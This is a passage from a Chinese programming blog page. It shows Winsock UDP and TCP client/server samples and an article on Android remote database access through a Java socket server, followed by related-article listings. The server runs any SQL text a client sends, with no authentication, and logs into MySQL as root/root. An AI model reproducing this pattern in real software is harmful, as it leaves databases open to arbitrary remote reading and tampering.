    	myaddr.sin_port=htons(7676);
    	bind(sock,(sockaddr*)&myaddr,sizeof(myaddr));//绑定手机
    
    	// 4.发送指令
    	char buf[100]="";
    	sockaddr_in eaddr;
    	eaddr.sin_port=htons(7979);
    	eaddr.sin_family=AF_INET;
    	//eaddr.sin_addr.S_un.S_addr=inet_addr("10.10.205.162");
    
    	// 创建一个线程接收(0,0,线程活动区域,传递值,0,0)
    	HANDLE hThread;
    	hThread = CreateThread(0,0,threadfun,&sock,0,0);
    
    	if(hThread==NULL)
    	{
    		printf("接收线程未运行!\n");
    	}
    	else
    	{
    		//Sleep(5000);
    		printf("接收线程正在运行!\n");
    		while(strlen(ipBuf)==0)
    		{
    			printf("正在尝试与服务器建立连接...\n");
    			Sleep(5000);
    		}
    		printf("已连接到服务器地址:%s\n",ipBuf);
    		eaddr.sin_addr.S_un.S_addr=inet_addr(ipBuf);
    		//停止获取IP
    		sendto(sock,"6#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    		while(1)
    		{
    			menu(sock,eaddr);//菜单
    		}
    	}
    	// 5.释放网络
    	closesocket(sock);
    	// 6.清除
    	WSACleanup();
    	return 0;
    }
    

    基于TCP/IP协议的网络通信

    TCP/IP协议是面向连接的,安全的。

    服务端实现

    接收客户端A,则给客户端发送字符B,接收C,则发送字符D。

    这里写图片描述

    #include<iostream.h>
    #include<stdlib.h>
    #include"winsock2.h"//引用头文件
    #pragma comment(lib,"ws2_32.lib")//引用库文件
    //线程实现函数
    
    DWORD WINAPI threadpro(LPVOID pParam)
    {
    	SOCKET hsock=(SOCKET)pParam;
    	char buffer[1024];
    	char sendBuffer[1024];
    	if(hsock != INVALID_SOCKET)
    		cout<<"Start Receive!"<<endl;
    	while(1)
    	{
    		//循环接收发送的内容
    		int num = recv(hsock,buffer,1024,0);//阻塞函数,等待接收内容
    		if(num>=0)
    			cout<<"Receive form clinet!"<<buffer<<endl;
    		if(!strcmp(buffer,"A"))
    		{
    			memset(sendBuffer,0,1024);
    			strcpy(sendBuffer,"B");
    			int ires = send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
    			cout<<"Send to Client: "<<sendBuffer<<endl;
    		}
    		else if(!strcmp(buffer,"C"))
    		{
    			memset(sendBuffer,0,1024);
    			strcpy(sendBuffer,"D");
    			int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
    			cout<<"Send to client: "<<sendBuffer<<endl;
    		}
    		else if(!strcmp(buffer,"exit"))
    		{
    			cout<<"Client Close"<<endl;
    			cout<<"Server Process Close"<<endl;
    			return 0;
    		}
    		else
    		{
    			memset(sendBuffer,0,1024);
    			strcpy(sendBuffer,"ERR");
    			int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);
    			cout<<"Send to client"<<sendBuffer<<endl;
    		}
    
    	}
    	return 0;
    }
    //主函数
    void main()
    {
    	WSADATA wsd;//定义WSADATA对象
    	WSAStartup(MAKEWORD(2,2),&wsd);
    	SOCKET m_SockServer;
    	sockaddr_in serveraddr;
    	sockaddr_in serveraddrfrom;
    	SOCKET m_Server[20];
    
    	serveraddr.sin_family = AF_INET;//设置服务器地址
    	serveraddr.sin_port=htons(4600);//设置端口号
    	serveraddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    	m_SockServer=socket(AF_INET,SOCK_STREAM,0);
    	int i=bind(m_SockServer,(sockaddr*)&serveraddr,sizeof(serveraddr));
    	cout<<"bind:"<<i<<endl;
    
    	int iMaxConnect=20;//最大连接数
    	int iConnect=0;
    	int iLisRet;
    	char buf[]="This is Server\0";//向客户端发送的内容
    	char WarnBuf[]="It is over Max connect\0";
    	int len=sizeof(sockaddr);
    	while(1)
    	{
    		iLisRet=listen(m_SockServer,0);//进行监听
    		m_Server[iConnect]=accept(m_SockServer,(sockaddr*)&serveraddrfrom,&len);
    		//同意连接
    		if(m_Server[iConnect]!=INVALID_SOCKET)
    		{
    			int ires=send(m_Server[iConnect],buf,sizeof(buf),0);//发送字符过去
    			cout<<"发送消息:"<<buf<<endl;
    			cout<<"accept: "<<ires<<endl;//显示已经建立连接次数
    			iConnect++;
    			if(iConnect>iMaxConnect)
    			{
    				int ires=send(m_Server[iConnect],WarnBuf,sizeof(WarnBuf),0);
    
    			}
    			else
    			{
    				HANDLE m_Handel;//线程句柄
    				DWORD nThreadId=0;//线程ID
    				m_Handel=(HANDLE)::CreateThread(NULL,0,threadpro,(LPVOID)m_Server[--iConnect],0,&nThreadId);
    				//启动线程
    				cout<<"启动线程!"<<endl;
    			}
    		}
    	}
    	WSACleanup();
    }
    

    客户端实现

    给服务端发送A,则会接受到字符B,发送C,则收到D。

    这里写图片描述

    #include<iostream.h>
    #include<stdlib.h>
    #include<stdio.h>
    #include"winsock2.h"
    #include<time.h>
    #pragma comment(lib,"ws2_32.lib")
    
    void main()
    {
    	WSADATA wsd;//定义WSADATA对象
    	WSAStartup(MAKEWORD(2,2),&wsd);
    	SOCKET m_SockClient;
    	sockaddr_in clientaddr;
    
    	clientaddr.sin_family=AF_INET;//设置服务器地址
    	clientaddr.sin_port=htons(4600);//设置服务器端口号
    	clientaddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    	m_SockClient=socket(AF_INET,SOCK_STREAM,0);
    	int i=connect(m_SockClient,(sockaddr*)&clientaddr,sizeof(clientaddr));//连接超时
    	cout<<"connect:"<<i<<endl;
    
    	char buffer[1024];
    	char inBuf[1024];
    	int num;
    	num=recv(m_SockClient,buffer,1024,0);//阻塞
    	if(num>0)
    	{
    		cout<<"Receive from server:"<<buffer<<endl;//欢迎信息
    		while(1)
    		{
    			num=0;
    			cout<<"请输入要发送的消息:"<<endl;
    			cin>>inBuf;
    			if(!strcmp(inBuf,"exit"))
    			{
    				send(m_SockClient,inBuf,sizeof(inBuf),0);//发送退出指令
    				return;
    			}
    			send(m_SockClient,inBuf,sizeof(inBuf),0);
    			num=recv(m_SockClient,buffer,1024,0);//接收客户端发送过来的数据
    			if(num>=0)
    				cout<<"接收消息:"<<buffer<<endl;
    		}
    	}
    }
    
    展开全文
  • Android远程数据库通信实现

    千次阅读 2013-09-14 12:43:41
    内容摘要:随着移动互联网技术的的发展以及智能手持终端的普及,实现远程数据的通信成为了智能应用的关键。目前智能终端中大部分采用了Google Android操作系统,因此,我在暑期重点研究了Android远程数据库通信的...

    由于学院需要提交一个学年论文,正好借此机会开始我的博客生活,我会在随后的日子在里不断更新博客。

    内容摘要:随着移动互联网技术的的发展以及智能手持终端的普及,实现远程数据的通信成为了智能应用的关键。目前智能终端中大部分采用了Google Android操作系统,因此,我在暑期重点研究了Android远程数据库通信的实现,并实现了一套可行的实现方案。

    一、问题的引入

    Android在数据存储方面提供了四种方式,其中包括轻量级的Sqlite3数据库。对于单机游戏以及简单应用,这几种存储方式已经能够解决。但是,随着移动互联网技术的日臻成熟以及用户对于移动网络数据的巨大需求,单单采用本地存储数据已经很难满足用户的需求。因此,Android连接远程数据库交互数据已经成为了很多应用、手机游戏必不可少的部分。

    Android操作系统在早期已经对Socket、Http网络有了很好的支持,因此,在Android应用中远程通信是很好实现的。对于访问远程数据库,Google官方SDK文档说是支持的。但是,在实际开发中,若果采用直接访问远程数据库时会出现很多莫名奇妙的问题。对于这个问题而言,我的理解是:Android实质是在Linux上搭建了一个符合Java标准的虚拟机(官方称为Dalvik)。Dalvik是一个针对移动终端权衡性能与功耗优化的Java虚拟机,由于受限于移动终端自身硬件限制,Dalvik必然是做过很多精简的,可以说是“阉割”版的Java虚拟机。因此,Android对于直连远程数据库必然是不能够像PC一样完美支持给中数据库的。

    既然远程直连数据库从在各种问题,我们只能通过迂回路线完成远程数据库通信了。

     

     

    二、问题的解决方案

    既然直连远程数据有问题,要解决,必然是在中间加一种中间层。我设计的解决方案是在远程加一个中间层,具体如下:

    在远程数据库端部署一个服务端,服务端作为中间层,一方面通过jdbc连接数据库,另一方面,服务端通过Socket将查询到的结果反馈给Android终端。以下图说明:

     


     

    三、解决方案的细化

    基础的解决方案已经有了,我们要做的就是具体细化方案。

    1、Android终端与服务端的通信及数据

    Android终端通过Socket与远程服务端进行连接。Android端通过字节流发送SQL查询指令,服务端数据传输采用JSON格式的字节流返回查询结果。

    2、服务端与远程数据库

    服务端和远程数据库部署在同一服务器,因此二者只需通过jdbc连接就可以了。

     

    四、解决方案的实现

    1、服务端的编写

    服务端包括两部分,一部分与数据库连接,另一部分是远程通信。

    1.1 服务端与数据库连接,可以将其封装成为一个类。如下:

     
    public class ConectDB {
     
       public Connection conn;
       public String strSql;
       public Statement sqlStmt;//语句对象不带参数
       public PreparedStatement preparedStmt;//语句对象带参数
       public ResultSet sqlRst; //结果对象集
       private static ConectDB mysql;
       /**
        * 构造函数
        */
       private ConectDB()
       {
           try {
               conn = null;
               sqlStmt = null;
               sqlRst = null;
               preparedStmt = null;
               Connect();
           } catch (SQLException ex) {
               Logger.getLogger(ConectDB.class.getName()).log(Level.SEVERE, null, ex);
           } catch (ClassNotFoundException ex) {
               Logger.getLogger(ConectDB.class.getName()).log(Level.SEVERE, null, ex);
           } catch (InstantiationException ex) {
               Logger.getLogger(ConectDB.class.getName()).log(Level.SEVERE, null, ex);
           } catch (IllegalAccessException ex) {
               Logger.getLogger(ConectDB.class.getName()).log(Level.SEVERE, null, ex);
           }
       }
     
     
       public static ConectDB getConetDB()//单例模式
       {
           if(mysql==null)
           {
               mysql=new ConectDB();
           }
           return mysql;
       }
       Public void Connect() throws SQLException, ClassNotFoundException,InstantiationException, IllegalAccessException{
           Stringurl="jdbc:mysql://localhost/projectmanagement?characterEncoding=utf-8";
           String user="root";
           String pwd="root";
     
                 //加载驱动,这一句也可写为:Class.forName("com.mysql.jdbc.Driver");
                Class.forName("com.mysql.jdbc.Driver").newInstance();
                 //建立到MySQL的连接
                 conn = java.sql.DriverManager.getConnection(url,user,pwd);
    }
    }



    其中将ConectDB的构造函数设置为私有类型,在获得ConectDB的对象时需要调用ConectDB的静态函数getConetDB()来获得,采用这样的单例模式的好处在于永远保持与数据库的连接保持只有一个,避免多个客户端访问时引起数据库连接饱和,致使数据库崩溃。

    1.2 服务端远程通信

    服务端远程通信采用Socket。思路如下:

    首先创建一个ServerSocket的对象mServerSocket,之后执行一个死循环,循环中通过调用mServerSocket.accept()进行阻塞。在有应用请求Socket时,accept的阻塞被解除,开启一个线程来单独处理该应用Socket请求。这时,循环又执行到了accept函数,主线程阻塞。子线程通过Socket的InputStream获得到应用传来的SQL请求,解析后调用ConectDB类中封装好的相关函数向数据库请求执行SQL,SQL被正确执行后会返回ResultSetMetaData类型的结果。为了传输得到结果,需要将ResultSetMetaData类型结果转换为JsonArray类型。最后通过JsonArray.toString().getByte(“UTF-8”)得到字节流,通过OutputStream发送给应用。代码实现如下:

    package com.imudges.server;
    
    import androidservice.AndroidService;
    import com.imudges.database.ConectDB;
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.OutputStream;
    import java.io.PrintWriter;
    import java.net.ServerSocket;
    import java.net.Socket;
    import java.sql.ResultSet;
    import java.sql.ResultSetMetaData;
    import java.sql.SQLException;
    import java.util.ArrayList;
    import java.util.List;
    import java.util.concurrent.ExecutorService;
    import java.util.concurrent.Executors;
    import java.util.logging.Level;
    import java.util.logging.Logger;
    import org.json.JSONException;
    import org.json.JSONObject;
    
    /**
     *
     * @author CSYYJ
     */
    public class Server extends Thread {
    
        private static final int SERVERPORT = 5432;
        private static List<Socket> mClientList = new ArrayList<Socket>();
        private ExecutorService mExecutorService;//线程池
        private ServerSocket mServerSocket;//ServerSocket对象
        private ConectDB mysql = null;
    
        public Server() {
            try {
                mServerSocket = new ServerSocket(SERVERPORT);
                mExecutorService = Executors.newCachedThreadPool();//创建一个线程池
                System.out.println("start......");
                Socket client = null;
                while (true) {
                    client = mServerSocket.accept();
                    System.out.println("接收到请求!");
                    mClientList.add(client);
                    mExecutorService.execute(new ThreadServer(client));
                }
            } catch (IOException ex) {
                Logger.getLogger(Server.class.getName()).log(Level.SEVERE, null, ex);
            }
    
        }
    
        public class ThreadServer implements Runnable {
    
            private Socket mSocket;
            private BufferedReader mBufferedReader;
            private PrintWriter mPrintWriter;
            private String mStrMSG;
            private InputStream in;
            private OutputStream out;
    
            public ThreadServer(Socket socket) throws IOException {
                this.mSocket = socket;
                in = socket.getInputStream();
                mBufferedReader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
                out = mSocket.getOutputStream();
                mStrMSG = "user:" + this.mSocket.getInetAddress() + " come total:" + mClientList.size();
            }
    
            @Override
            public void run() {
                while (true) {
                    System.out.println("进入run函数等待数据通信!");
                    byte buffer[] = new byte[128];
                    int len = 0;
                    mStrMSG = "";
                    try {
                        while ((len = in.read(buffer)) == 128) {
                            mStrMSG += new String(buffer, 0, len);
                        }
                        mStrMSG += new String(buffer, 0, len);
                    } catch (IOException ex) {
                        Logger.getLogger(Server.class.getName()).log(Level.SEVERE, null, ex);
                    }
                    mysql = new ConectDB();
                    mysql.strSql = mStrMSG;
                    try {
                        mysql.preparedStmt = mysql.conn.prepareStatement(mysql.strSql);
                    } catch (SQLException ex) {
                        Logger.getLogger(AndroidService.class.getName()).log(Level.SEVERE, null, ex);
                    }
                    try {
                        mysql.sqlRst = (ResultSet) mysql.preparedStmt.executeQuery();
                    } catch (SQLException ex) {
                        Logger.getLogger(Server.class.getName()).log(Level.SEVERE, null, ex);
                    }
                    try {
                        try {
                            sendMessage(mSocket, mysql.sqlRst);
                        } catch (JSONException ex) {
                            Logger.getLogger(Server.class.getName()).log(Level.SEVERE, null, ex);
                        }
                    } catch (IOException ex) {
                        Logger.getLogger(Server.class.getName()).log(Level.SEVERE, null, ex);
                    }
                    System.out.println(mStrMSG);
                }
    
            }
    
            private void sendMessage(Socket socket, ResultSet rs) throws IOException, JSONException {
                try {
                    // json数组
                    MyJsonArray array = new MyJsonArray();
                    // 获取列数
                    ResultSetMetaData metaData = rs.getMetaData();
                    int columnCount = metaData.getColumnCount();
    
                    // 遍历ResultSet中的每条数据
                    while (rs.next()) {
                        JSONObject jsonObj = new JSONObject();
                        // 遍历每一列
                        for (int i = 1; i <= columnCount; i++) {
                            String columnName = metaData.getColumnLabel(i);
                            String value = rs.getString(columnName);
                            jsonObj.put(columnName, value);
                        }
                        array.put(jsonObj);
                    }
                    System.out.println(array.toString());
                    out.write(array.toString().getBytes("UTF-8"));
                    out.flush();
                } catch (SQLException ex) {
                    Logger.getLogger(Server.class.getName()).log(Level.SEVERE, null, ex);
                }
            }
        }
    }
    


    2、Android终端的实现

    基于实现以上之后,Android端剩余的任务只剩下了通信。Android中Socket的实现了和Java标准是相同的。

    首先Android连接socket,mSocket=new Socket(SERVERIP,SERVERPOST),然后获取socket的输入输出流,要注意输入输出流需要统一编码方式,我采用的是“UTF-8”。在获取到数据库输入输出流之后,即可通过输出流向远程服务端发送sql指令,发送完指令之后,通过输入流获取到返回的SQL执行结果。当然在接收时也通过JasonArray接受,然后在解析即可。

    代码实现如下:

    package com.imudges.socket;
    
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.io.PrintWriter;
    import java.io.UnsupportedEncodingException;
    import java.net.ContentHandler;
    import java.net.Socket;
    import java.net.UnknownHostException;
    
    import org.json.JSONArray;
    import org.json.JSONException;
    
    import com.imudges.tools.ConectIPs;
    import com.yangyu.mytitlebar02.R;
    
    import android.content.res.Resources;
    import android.os.Handler;
    import android.os.Message;
    import android.util.Log;
    
    public class ConnectSQL 
    {
    
    	public static ConnectSQL connectSQL=null;
    	public static final String SERVERIP =ConectIPs.SERVERIP;
    	private static final int SERVERPOST = ConectIPs.SERVERPOST;
    	private static Thread mThread = null;
    	public static Socket mSocket = null;
    	private static JSONArray array=null;
    	private OutputStream outputStream=null;
    	private static Handler mHandler=null;
    	private InputStream inputStream =null;
    	boolean isReturns=false;
    	private  ConnectSQL() throws IOException, Exception 
    	{
    			mSocket = new Socket(SERVERIP, SERVERPOST);
    			outputStream=mSocket.getOutputStream();
    			inputStream = mSocket.getInputStream();	
    	}
    	public static ConnectSQL getConnectSQL() throws IOException, Exception
    	{
    	       
    			connectSQL=new ConnectSQL();
    		
    		return connectSQL;
    	}
    	private static boolean IsConnected ()
        {
    	    boolean flag=true;
    	    try
            {
    	        mSocket.sendUrgentData(0xFF);
    	        System.out.println("socket連接成功");
            }
            catch (Exception e)
            {
               flag=false;
               System.out.println("socket連接斷開");
            }
    	    
    	    return flag;
        }
    	public JSONArray getJSONArry(String sql) throws IOException, Exception
    	{
    		if (mSocket == null)
    		{
    			connectSQL=new ConnectSQL();
    		}
    		outputStream.write(sql.getBytes("UTF-8"));
    		outputStream.flush();
    		byte buffer[] = new byte[1024];
    		int len = 0;
    		String mStrMSG = "";
    		try
    		{
    			while ((len = inputStream.read(buffer)) == 1024)
    			{
    				mStrMSG += new String(buffer, 0, len,"UTF-8");
    				
    			}
    			System.out.println("len:"+len);
    			mStrMSG += new String(buffer, 0, len,"UTF-8");
    			Log.v("debug", "lebgth:"+mStrMSG.length());
    		    System.out.println("获得到的str:"+mStrMSG);
    		} catch (UnsupportedEncodingException e1)
    		{
    			// TODO Auto-generated catch block
    			e1.printStackTrace();
    		} catch (IOException e1)
    		{
    			// TODO Auto-generated catch block
    			e1.printStackTrace();
    		}
    		try
    		{
    			array=new JSONArray(mStrMSG);
    		} catch (JSONException e)
    		{
    			e.printStackTrace();
    		}
    		System.out.println("array:"+array.toString());
    		return array;	
    	}
    	public void close()
    	{
    	    try
            {
                mSocket.close();
            }
            catch (IOException e)
            {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
    	}
    	
    }
    

     

     

    服务端源码下载地址:http://download.csdn.net/download/u012122069/6297155


    展开全文
  • 网络通信协议(互联网协议)

    千次阅读 2019-08-19 15:00:13
    一、操作系统基础 操作系统:(Operating System,简称OS)是管理和控制计算机硬件与软件...2.1 互联网的本质就是一系列的网络协议 一台硬设有了操作系统,然后装上软件你就可以正常使用了,然而你也只能自己使用 像...
  • p2p通信原理及实现

    千次阅读 2018-05-18 14:27:56
    简介 当今互联网到处存在着一些中间件(MIddleBoxes),如NAT和防火墙,导致两个(不在同一内网)中的客户端无法直接通信。这些问题即便是到了IPV6时代也会存在,因为即使不需要NAT,但还有其他中间件如防火墙阻挡了...
  • 目前的LTE网络已经能满足移动互联网应用的需求,而下一代移动通信将关注广阔的物联网应用。移动通信系统的改进可以分为无线传输技术和网络技术两个方面,文章着重阐述了网络的支持技术——软件定义网络(SDN)和网络...
  • TCP协议,传输控制协议(英语:Transmission Control Protocol,缩写为 TCP)是一种面向连接的、可靠的、基于字节流的传输层通信协议,由IETF的RFC 793定义。TCP通信需要经过创建连接、数据传送、终止连接三个步骤。...
  • 1.TCP实现服务器端与多个客户端通信 import socket def main(): # 1. 创建套接字socket tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 2. 绑定本地信息 bind tcp_server_socket...
  • 移动互联网漫谈(4)-移动通信网络

    千次阅读 2008-11-03 10:15:00
    1978年贝尔实验室的科学家们在美国芝加哥试验成功了世界上第一个蜂窝移动通信系统,并... 移动数据通信将移动通信互联网结合起来。移动手机上网、在移动状态下办公等是现在十分时髦的热门话题,因此,移动数据通信
  • 关于移动通信网络与互联网的关系

    千次阅读 2019-12-31 17:21:15
    今天才有点理清楚地面移动通信协议与互联网协议的关系。 移动通信网络是底层的承载网络,它的协议主要是底层的物理层和数据链路层。而互联网是真正的对分组数据进行传输的网络,它的协议是TCP/IP协议。下面是从知乎...
  • 图1-1 (互联网通信过程如上图粗曲线所示,在TCP/IP协议中是把链路层与物理层一起划分为网络接口层,其中H1,H2表示边缘主机,R1,R2表示路由器, ...
  • 用JAVA实现P2P网络通信

    千次阅读 2015-03-19 11:38:08
    一、 前言   P2P(Peer-to-Peer 端到端)模型是与C/S(客户/服务器)模型相对应。基于C/S的用户间通信需要由服务器中转,在C/S中的服务器故障将导致整个网络...本文提供了一种用JAVA实现P2P网络通信的方法。  
  • 埃隆.马斯克一个值得技术人员尊敬的科技狂人,他把现实、科幻、理想、情怀、未来有机...他有很多伟大的、革命性的构想与实现,“星链”Starlink计划就是其中之一。本文就从通信的角度解读一下这个看似不可思议的计划。
  • 网关,路由,局域网内的通信及不同的网络间通信实现的原理剖析
  • 通常用于互联网协议,被称 TCP / IP。java中的TCP通信都是通过Socket来进行的。Socket 编程 Socket是应用层与TCP/IP协议簇通讯的中间抽象层,Socket是一组接口,在设计模式中,Socket的设计就是门面模式,它把复杂...
  • 三层交换机实现VLAN间通信过程

    万次阅读 多人点赞 2017-10-08 11:32:24
    两个VLAN之间可以通过多端口的路由器实现互连,但是这种多端口路由器互连VLAN因为VLAN数量的动态性, 实际应用过程中是很难实施的,因此可以用单端口路由器互连多个VLAN。 单端口路由器互连VLAN解决了VLAN数量动态性...
  • 成 绩 评 定 表学生姓名 班级学号1503030126专 业电子信息工程课程设计题目小型互联网的设计与实现评 语 组长签字: 成绩 日期 201 年 月 日 课程设计任务书学 院信息科学与工程学院专 业电子信息工程学生...
  • P2P通信原理与实现(C语言)

    千次阅读 2017-03-01 15:40:28
     当今互联网到处存在着一些中间件(MIddleBoxes),如NAT和防火墙,导致两个(不在同一内网)中的客户端无法直接通信。这些问题即便是到了IPV6时代也会存在,因为即使不需要NAT,但还有其他中间件如防火墙阻挡了链接的...
  • P2P(点到点-点对点)通信实现实例

    万次阅读 2015-11-06 22:22:40
    互联网上的某些知名应用,使用了P2P通信技术。这种技术,可以让没有公网IP的两个用户进行直接的通信。 这是怎么实现的呢? linux_dev_framework软件包中的p2p_server.c及p2p_client.c就是P2P通信的一个实现示例。 ...
  • 基于UDP协议网络Socket编程(java实现C/S通信案例)

    千次阅读 多人点赞 2020-10-11 21:33:41
    本篇详细记录运用java进行网络编程,基于UDP套接字(Socket)实现服务器与客户端间的通信,在实战案例中更深刻理解UDP的实现原理,掌握UDP实践应用步骤。
  • Java实现网络通信(TCP程序设计)

    千次阅读 2021-01-27 00:31:25
    提示:文章写完后,目录可以自动生成...利用TCP协议进行通信的程序有主次之分,一个称为服务器端程序,另一个称为客户端程序 二、TCP网络程序设计原理: 1.图示: 代码如下(示例): import numpy as np import panda
  • 通过FPGA实现以太网通信原理及理解

    千次阅读 2020-03-16 16:24:07
    0.0 OSI模型的简单理解 OSI(Open System Interconnect),即开放式系统互联。一般都叫OSI参考模型,是ISO(国际标准化组织)组织在1985年研究的...这里根据笔者的理解以及相关资料的查询,觉得这个OSI通信与笔者...
  • 正式上线后的企业密信为企业推出加密即时通信和独立私有化方案部署,真正实现企业安全、高效的工作交流。 企业密信主要为应对互联网移动办公的网络威胁,解决大数据、云服务、云计算环境下,企业内部信息泄露及数据...
  • 网络通信P2P JAVA实现过程

    千次阅读 2014-11-17 19:09:14
     摘 要:分析了P2P基本概念及其基本工作原理,探讨了用JAVA实现p2p网络通信的技术,并用一个实例作了进一步阐述。   关键词:P2P,C/S,JAVA,XML,JDK ,TCP,UDP   一、 前言   P2P(Peer-to-Peer ...
  • ensp:使用路由器实现网间通信

    千次阅读 2019-06-29 13:52:34
    路由器配置:
  • TCP/Ip协议+UDP协议+Socket通信实现

    千次阅读 2016-06-15 16:39:26
    Android支持jdk本身的tcp、udp网络通信的api,也可以使用ServerSocket(服务器套接字)和Socket(套接字)建立基于Tcp/Ip网络协议的通信,也可以使用DatagramSocke、Datagrampacket、MulticastSocket建立基于UDP协议...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 206,280
精华内容 82,512
关键字:

互联网怎么实现通信